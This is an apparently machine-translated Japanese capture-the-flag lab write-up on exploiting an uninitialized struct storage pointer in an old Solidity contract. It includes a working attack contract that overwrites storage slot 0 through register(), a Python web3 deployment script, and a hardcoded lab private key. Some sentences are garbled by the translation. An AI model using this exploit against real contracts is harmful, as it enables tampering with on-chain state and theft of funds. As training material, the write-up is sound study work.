ブロックチェーンのセキュリティ
記事ディレクトリ
初期化されていないストレージ ポインターの練習 1
目的
python3 の web3 モジュールの使用方法を学習します
Ethereum スマート コントラクトの初期化されていないストレージ ポインターの脆弱性を分析する方法を学習します
コントラクトの脆弱性を見つけて分析し、それらを悪用します
研究室環境
Ubuntu18.04オペレーティングマシン
実験ツール
Python3
実験原理
Solidity 言語では、動的配列、構造体、マッピングなどの複雑なデータ構造を「スタック」に直接保存することはできません。これは、「スタック」に保存できるのは個々の「ワード」のみであるためです。実際のデータ長が 32 バイト以下の単純なデータ型を保存できます。したがって、Solidity スマート コントラクト関数で動的配列と構造体を宣言するときは、それらの場所がストレージ内にあるのかメモリ内にあるのかを明確に示す必要があります。
関数内では、マッピング タイプを一時変数として使用することはできませんが、特定の状態変数の「ストレージ ポインタ」としてのみ使用できます。つまり、マッピング タイプは事前に設定する必要があります。 -コンパイル時に初期化されるため、演習中に生成されたデータとして使用することはできません。スマート コントラクト関数が、「場所」を指定せずに初期化せずに一時的な動的配列または構造体を宣言した場合、これらの変数はデフォルトでストレージに保存されます。
初期化されていないストレージ ポインタは、EVM で初期化されていないストレージ変数を指します。この変数は他の変数の領域を指すため、他の変数の値が変更されます。
実験内容
コントラクトには、構造体の初期化されていないストレージ ポインタの問題が組み込まれています。コントラクトの脆弱性を見つけて悪用します。フラグ変数をtrue に契約します。
Python3 の web3 モジュールを使用して、リモートから脆弱性を悪用し、フラグを取得できます
。実験用アドレスは nc ip 10007
実験手順
コントラクト アドレスとコントラクト ソース コードを取得します
nc ip 10007 を質問に接続し、1 を入力して、コントラクトを展開するためのゲーム アカウントとトークンを取得します
http://ip を開き、上記で割り当てられたゲーム アカウントを入力し、「リクエスト」をクリックして eth を取得します
nc ip 10007 質問に接続し、2 を入力して展開コントラクトのアドレスと新しいトークンを取得します。
nc ip 10007 質問に接続し、4 を入力して契約ソース コードを取得するか、質問の添付ファイルで契約ソース コードを見つけます。
コントラクトのソース コードの脆弱性の分析
この質問では、コントラクト内のフラグ変数を true に設定する必要があります。コードを分析したところ、フラグを直接設定できるコードは見つかりませんでした。本当
構造体の一般的な使用法は、デフォルトでストレージです。構造体が関数内でメモリ変数として明示的に指定されていない場合、それはストレージ変数になります。宣言された変数はデフォルトでスロット 0 から格納されます。< a i=1> 関数で宣言された newRecord 構造体は、name と mappedAddress を変更します。実際、unlocked 名と bytes32 名はそれぞれ変更されますので、name に対応するスロット 0 の値を 1 に変更するだけです。 . EXP の使用 サードパーティの攻撃コントラクト Attack.sol を書き込み、次の ETH7 アドレスを自分の権原コントラクトのアドレスに置き換えて、 register( 1, tx.origin) ターゲット コントラクトの pragma Solidity ^0.4.23;
契約ハック { ETH7 ターゲット = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);constructor() public { target.register(1, tx.origin); } }
Python を使用して自動化された表現を記述します。その機能には、攻撃コントラクトのアドレスを取得するための攻撃コントラクトのデプロイと、攻撃コントラクトのコンストラクターでの攻撃の完了が含まれます。
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)
expを実行
nc ip 10007 質問に接続し、3 を入力し、前の新しいトークンを入力して、フラグを取得します